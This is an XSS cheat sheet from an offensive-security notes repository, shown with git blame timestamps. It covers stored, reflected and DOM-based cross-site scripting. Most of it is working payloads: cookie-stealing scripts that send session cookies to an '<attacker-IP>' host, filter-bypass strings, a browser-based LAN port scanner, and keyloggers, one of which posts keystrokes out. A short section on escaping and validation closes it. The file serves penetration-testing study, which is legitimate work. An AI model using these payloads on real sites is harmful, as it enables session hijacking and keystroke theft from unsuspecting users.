killchain-compendium/Exploits/Web/XSS.md

231 lines
6.1 KiB
Markdown
Raw Normal View History

2022-11-13 22:38:01 +01:00
# Cross-Site Scripting
2024-05-14 22:35:54 +02:00
A web application is vulnerable to XSS if it uses unsanitized user input. XSS
is possible in Javascript, VBScript, Flash and CSS.
2022-11-13 22:38:01 +01:00
## Stored XSS
2024-05-14 22:35:54 +02:00
This is where a malicious string originates from the websites database. Such as
(stored in a db)
2022-11-13 22:38:01 +01:00
* User profiles
* Chats and comments
* Part of link
* Blind xss is stored inside the app but effects are only visible by proxy, [xsshunter](https://xsshunter.com/).
### Examples
2024-05-14 22:35:54 +02:00
Sanity test by changing DOM content
```html
2022-11-13 22:38:01 +01:00
<script>document.getElementById('myIdName').innerHTML="napf"</script>
```
2024-05-14 22:35:54 +02:00
Cookie stealing
2022-11-13 22:38:01 +01:00
```javascript
<script>document.location='/log/'+document.cookie</script>
```
2024-05-14 22:35:54 +02:00
Navigte to `/logs` and take sid
Open nc port and collect cookies
2022-11-13 22:38:01 +01:00
```javascript
<script>document.location='http://<attacker-IP>:<attacker-Port>/XSS/grabber.php?c='+document.cookie</script>
<script>var i=new Image;i.src="http://<attacker-IP>:<attacker-Port>/?"+document.cookie;</script>
```
## Reflected XSS
2024-05-14 22:35:54 +02:00
In a reflected cross-site scripting attack, the malicious payload is part of
the victims request to the website. The website includes this payload in
response back to the user. To summarise, an attacker needs to trick a victim
into clicking a URL to execute their malicious payload.
2022-11-13 22:38:01 +01:00
* URL parameters inside GET queries
* File paths
### Usage
2024-05-14 22:35:54 +02:00
2022-11-13 22:38:01 +01:00
As script inside parameter
2024-05-14 22:35:54 +02:00
```html
2022-11-13 22:38:01 +01:00
http://example.com/search?keyword=<script>...</script>
```
2024-05-14 22:35:54 +02:00
Show server IP
```html
2022-11-13 22:38:01 +01:00
http://example.com/reflected?keyword=<script>alert(window.location.hostname)</script>
```
2024-05-14 22:35:54 +02:00
Session stealing, base64 encoded
2022-11-13 22:38:01 +01:00
```javascript
<script>fetch('http://<attacker-IP>/steal?cookie=' + btoa(document.cookie));</script>
```
2024-05-14 22:35:54 +02:00
Open netcat binder to catch the http queries
2022-11-13 22:38:01 +01:00
## DOM based XSS
2024-05-14 22:35:54 +02:00
With [DOM-Based
XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based), an
attackers payload will only be executed through the DOM when the
vulnerable Javascript code is either loaded or interacted with. It goes through
a Javascript function like so:
2022-11-13 22:38:01 +01:00
```javascript
var keyword = document.querySelector('#search')
keyword.innerHTML = <script>...</script>
```
2024-05-14 22:35:54 +02:00
DOM based XSS also works out directly through the URL if parts of the URL (URL
fragments) are put into a javascript function. These fragments inside the URL
are marked by a `#` char and are executed inside the DOM not the server. An
example of a URL is as follows.
```html
https://example.com#<img src=x onerror=alert(document.cookie)></img>
```
Measurements against DOM based XSS are URL encoding and httponly cookies.
### DOM based XSS via JQuery
Put the payload inside an iframe to use it through JQuery through triggering
`hashchange`. This is described on
[the
portswigger](https://portswigger.net/web-security/cross-site-scripting/dom-based)
page.
```html
<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">
```
2022-11-13 22:38:01 +01:00
### Usage
2024-05-14 22:35:54 +02:00
Find the sub-object inside the document through ending the string and execute a
javascript alert when hovering over the sub-object.
2022-11-13 22:38:01 +01:00
```javascript
test" onmouseover="alert('YO!')"
```
2024-05-14 22:35:54 +02:00
Show cookie
```javascript
2022-11-13 22:38:01 +01:00
test" onmouseover="alert(document.cookie)"
```
2024-05-14 22:35:54 +02:00
2022-11-13 22:38:01 +01:00
## Bypass Filters
2024-05-14 22:35:54 +02:00
`<script>` sanitizing
2022-11-13 22:38:01 +01:00
```HTML
<img src=x onerror=alert('Hello');>
```
2024-05-14 22:35:54 +02:00
or
2022-11-13 22:38:01 +01:00
```javascript
<</script>script>alert("1");<</script>/script>
```
2024-05-14 22:35:54 +02:00
`alert()` sanitizing
2022-11-13 22:38:01 +01:00
```javascript
0\"autofocus/onfocus=alert(1)--><onerror=prompt(2)>"-confirm(3)-"
```
2024-05-14 22:35:54 +02:00
2022-11-13 22:38:01 +01:00
or
2024-05-14 22:35:54 +02:00
2022-11-13 22:38:01 +01:00
```javascript
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
```
2024-05-14 22:35:54 +02:00
Strings, here its `Hello`
2022-11-13 22:38:01 +01:00
```javascript
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert('Hello')"></xss>
```
## Portscanner via Javascript
2024-05-14 22:35:54 +02:00
By requesting the favicon, checking port 80
2022-11-13 22:38:01 +01:00
```javascript
<script>
for (let i = 0; i < 256; i++) {
let ip = '192.168.0.' + i
let code = '<img src="http://' + ip + '/favicon.ico" onload="this.onerror=null; this.src=/log/' + ip + '">'
document.body.innerHTML += code
}
</script>
```
2024-05-14 22:35:54 +02:00
[pdp's portscanner](https://www.gnucitizen.org/files/2006/08/jsportscanner.js)
2022-11-13 22:38:01 +01:00
## Keylogger
2024-05-14 22:35:54 +02:00
2022-11-13 22:38:01 +01:00
```javascript
<script type="text/javascript">
let l = ""; // Variable to store key-strokes in
document.onkeypress = function (e) { // Event to listen for key presses
l += e.key; // If user types, log it to the l variable
console.log(l); // update this line to post to your own server
}
2024-05-14 22:35:54 +02:00
</script>
2022-11-13 22:38:01 +01:00
```
2024-05-14 22:35:54 +02:00
Base64 encoded keylogger
2022-11-13 22:38:01 +01:00
```javascript
<script>
document.onkeypress = function (e) {
fetch('http://<attacker-IP>/log?key=' + btoa(e.key) );
}
</script>
```
## Tab Nabbing
* Redirection of source after opening a tab through a provisioned link and back referencing
* [Hacktricks Tabnabbing](https://book.hacktricks.xyz/pentesting-web/reverse-tab-nabbing)
## Tricks and Tips
2024-05-14 22:35:54 +02:00
2022-11-13 22:38:01 +01:00
* Use Polyglots
* [XSS Filter Evasion Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)
* Close the a vulnerable, exploitable tag and open a script tag
2024-05-14 22:35:54 +02:00
2022-11-13 22:38:01 +01:00
```html
</tag><script>alert(1);</script>
```
## Protection Methods
2024-05-14 22:35:54 +02:00
There are many ways to prevent XSS, here are the 3 ways to keep cross-site
scripting our of your application.
1. Escaping - Escape all user input. This means any data your application has
received is secure before rendering it for your end users. By escaping user
input, key characters in the data received but the web page will be
prevented from being interpreter in any malicious way. For example, you
could disallow the < and > characters from being rendered.
2. Validating Input - This is the process of ensuring your application is
rendering the correct data and preventing malicious data from doing harm to
your site, database and users. Input validation is disallowing certain
characters from being submit in the first place.
3. Sanitising - Lastly, sanitizing data is a strong defence but should not be
used to battle XSS attacks alone. Sanitizing user input is especially
helpful on sites that allow HTML markup, changing the unacceptable user
input into an acceptable format. For example you could sanitise the <
character into the HTML entity &#60;